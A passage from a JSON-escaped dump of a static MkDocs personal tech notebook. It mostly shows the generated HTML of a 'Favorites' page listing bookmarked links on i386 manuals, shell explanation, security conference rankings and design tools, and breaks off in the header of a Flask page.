3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              Favorites\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n    \n  \n  \n    <li class=\"md-nav__item md-nav__item--active\">\n      \n      <input class=\"md-nav__toggle md-toggle\" type=\"checkbox\" id=\"__toc\">\n      \n      \n        \n      \n      \n      <a href=\"./\" class=\"md-nav__link md-nav__link--active\">\n        Favorites\n      </a>\n      \n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n<h1 id=\"favorites\">Favorites 收藏<a class=\"headerlink\" href=\"#favorites\" title=\"Permanent link\">&para;</a></h1>\n<p>收藏一些有用的资料咯~</p>\n<p><a href=\"http://microsym.com/editor/assets/386intel.pdf\">Intel i386 手册</a></p>\n<p><a href=\"https://nju-ics.gitbooks.io/ics2015-programming-assignment/content/i386-typo.html\">i386 手册勘误</a></p>\n<p><a href=\"http://www.kammerl.de/ascii/AsciiSignature.php\">字符签名生成</a></p>\n<p>例如lean字体：</p>\n<div class=\"codehilite\"><pre><span></span><code>      _/_/      _/_/      _/_/ \n   _/    _/  _/    _/  _/    _/\n  _/_/_/_/  _/_/_/_/  _/_/_/_/ \n _/    _/  _/    _/  _/    _/  \n_/    _/  _/    _/  _/    _/   \n</code></pre></div>\n\n<p><a href=\"http://www.explainshell.com/\">解释Shell命令每个参数</a></p>\n<p><a href=\"http://faculty.cs.tamu.edu/guofei/sec_conf_stat.htm\">安全会议的排名</a></p>\n<p><a href=\"https://d.py3.io/Recommend%2Bpapers.docx\">建议读的论文</a></p>\n<p><a href=\"https://www.webpagefx.com/tools/emoji-cheat-sheet/\">Git Emoji</a></p>\n<p><a href=\"https://webdemo.myscript.com/views/math.html\">Math 识别手写公式 画函数图像</a></p>\n<p><a href=\"http://wiki.ioin.in/\">安全文摘 每天看看</a></p>\n<p><a href=\"https://www.webdesignrankings.com/resources/lolcolors/\">网站配色</a></p>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"..\", \"features\": [], \"search\": \"../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/Flask/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n        <link rel=\"prev\" href=\"../Links/\">\n      \n      \n        <link rel=\"next\" href=\"../MySQL/\">\n      \n      <link rel=\"icon\" href=\"../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>Flask - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#flask\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              Flask\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 